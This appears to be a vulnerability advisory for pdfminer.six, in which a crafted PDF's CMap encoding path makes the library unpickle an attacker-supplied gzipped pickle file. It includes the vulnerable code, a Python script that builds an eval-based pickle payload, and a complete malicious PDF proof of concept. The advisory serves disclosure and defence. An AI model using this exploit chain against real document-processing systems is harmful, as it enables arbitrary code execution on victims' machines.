Summary
pdfminer.six will execute arbitrary code from a malicious pickle file if provided with a malicious PDF file. The CMapDB._load_data() function in pdfminer.six uses pickle.loads() to deserialize pickle files. These pickle files are supposed to be part of the pdfminer.six distribution stored in the cmap/ directory, but a malicious PDF can specify an alternative directory and filename as long as the filename ends in .pickle.gz. A malicious, zipped pickle file can then contain code which will automatically execute when the PDF is processed.
Details
# Vulnerable code in pdfminer/cmapdb.py:233-246
def _load_data(cls, name: str) -> Any:
name = name.replace("\0", "") # Insufficient sanitization
filename = "%s.pickle.gz" % name
# ... path construction ...
path = os.path.join(directory, filename) # If filename is an absolte path, directory is ignored
# ...
return type(str(name), (), pickle.loads(gzfile.read())) # Unsafe deserialization
An attacker can:
- Create a malicious PDF with a CMap reference like
/malicious
- Place a malicious pickle file at
/malicious.pickle.gz
- When the PDF is processed, pdfminer loads and deserializes the malicious pickle
- The pickle deserialization can execute arbitrary Python code
POC
Malicious PDF
Create a PDF with a malicious CMAP entry:
5 0 obj
<<
/Type /Font
/Subtype /Type0
/BaseFont /MaliciousFont-Identity-H
/Encoding /#2Fpdfs#2Fmalicious
/DescendantFonts [6 0 R]
>>
endobj
Here the /Encoding points to /pdfs/malicious. Pdfminer will append the extension .pickle.gz to this filename. Place the PDF in a file called /pdfs/malicious.pdf.
Malicious Pickle
Create a malicious, zipped pickle to execute. For example, with this Python script:
#!/usr/bin/env python3
import pickle
import gzip
def create_demo_pickle():
print("Creating demonstration pickle file...")
# Create payload that executes code AND returns a dict (as pdfminer expects)
class EvilPayload:
def __reduce__(self):
# This function will be called during unpickling
code = "print('Malicious code executed.') or exit(0) or {}"
return (eval, (code,))
demo_cmap_data = EvilPayload()
# Create the pickle file that the path traversal would access
target_path = "./malicious.pickle.gz"
try:
with gzip.open(target_path, 'wb') as f:
pickle.dump(demo_cmap_data, f)
print(f"✓ Created demonstration pickle file: {target_path}")
return target_path
except Exception as e:
print(f"✗ Error creating pickle file: {e}")
return None
if __name__ == "__main__":
create_demo_pickle()
This will create a harmless, zipped pickle file that will display "Malicious code eecuted." then exit when deserialized. Put the file in /pdfs/malicious.pickle.gz.
Test
Install pdfminer.six and run pdf2text.py /pdfs/malicious.pdf. Instead of processing the PDF as normal you should see the output:
$ pdf2txt.py malicious.pdf
Malicious code executed!
Impact
If pdfminer.six processes a malicious PDF which points to a zipped pickle file under the control of an attacker the result is arbitrary code execution on the victim's system. An attacker could execute the Python code of their chosing with the permissions of the process running pdfminer.six.
The difficulty in achieving this depends on the OS, see below.
Linux, MacOS - harder to exploit
On Linux-like systems only files on the filesystem can be resolved. An attacker would need to provide the malicious PDF for processing and the malicious pickle file would need to be present on the target system in a location that the attacker already knows, since it needs to be set in the PDF itself. In many cases this will be difficult to exploit because even if the attacker provides both the PDF and the pickle file together, there would be no way to know in advance which full path to the pickle file to specify. In many cases this would make exploitation difficult or impossible. However:
- An attacker may find a way to write files to a known location on the target system or
- The system in question may, by design, read files from a known location such as a network share designated for PDF ingestion.
Overall, there is generally less risk on a Linux or Linux-like system.
Windows - easier to exploit
Windows paths can specify network locations e.g. WebDAV, SMB. This means that an attacker could host the malicious pickle remotely and specify a path to the it in the PDF. Since there is no need to get the malicious pickle file on to the target system, exploitation is easier on a Windows OS.
Appendix
A complete, malicious PDF is provided here. A dockerized POC is available upon request.
%PDF-1.4
1 0 obj
<<
/Type /Catalog
/Pages 2 0 R
>>
endobj
2 0 obj
<<
/Type /Pages
/Kids [3 0 R]
/Count 1
>>
endobj
3 0 obj
<<
/Type /Page
/Parent 2 0 R
/MediaBox [0 0 612 792]
/Contents 4 0 R
/Resources
<<
/Font
<<
/F1 5 0 R
>>
>>
>>
endobj
4 0 obj
<<
/Length 44
>>
stream
BT
/F1 12 Tf
100 700 Td
(Malicious PDF) Tj
ET
endstream
endobj
5 0 obj
<<
/Type /Font
/Subtype /Type0
/BaseFont /MaliciousFont-Identity-H
/Encoding /#2Fpdfs#2Fmalicious
/DescendantFonts [6 0 R]
>>
endobj
6 0 obj
<<
/Type /Font
/Subtype /CIDFontType2
/BaseFont /MaliciousFont
/CIDSystemInfo
<<
/Registry (Adobe)
/Ordering (Identity)
/Supplement 0
>>
/FontDescriptor 7 0 R
>>
endobj
7 0 obj
<<
/Type /FontDescriptor
/FontName /MaliciousFont
/Flags 4
/FontBBox [-1000 -1000 1000 1000]
/ItalicAngle 0
/Ascent 1000
/Descent -200
/CapHeight 800
/StemV 80
>>
endobj
xref
0 8
0000000000 65535 f
0000000009 00000 n
0000000058 00000 n
0000000115 00000 n
0000000274 00000 n
0000000370 00000 n
0000000503 00000 n
0000000673 00000 n
trailer
<<
/Size 8
/Root 1 0 R
>>
startxref
871
%%EOF
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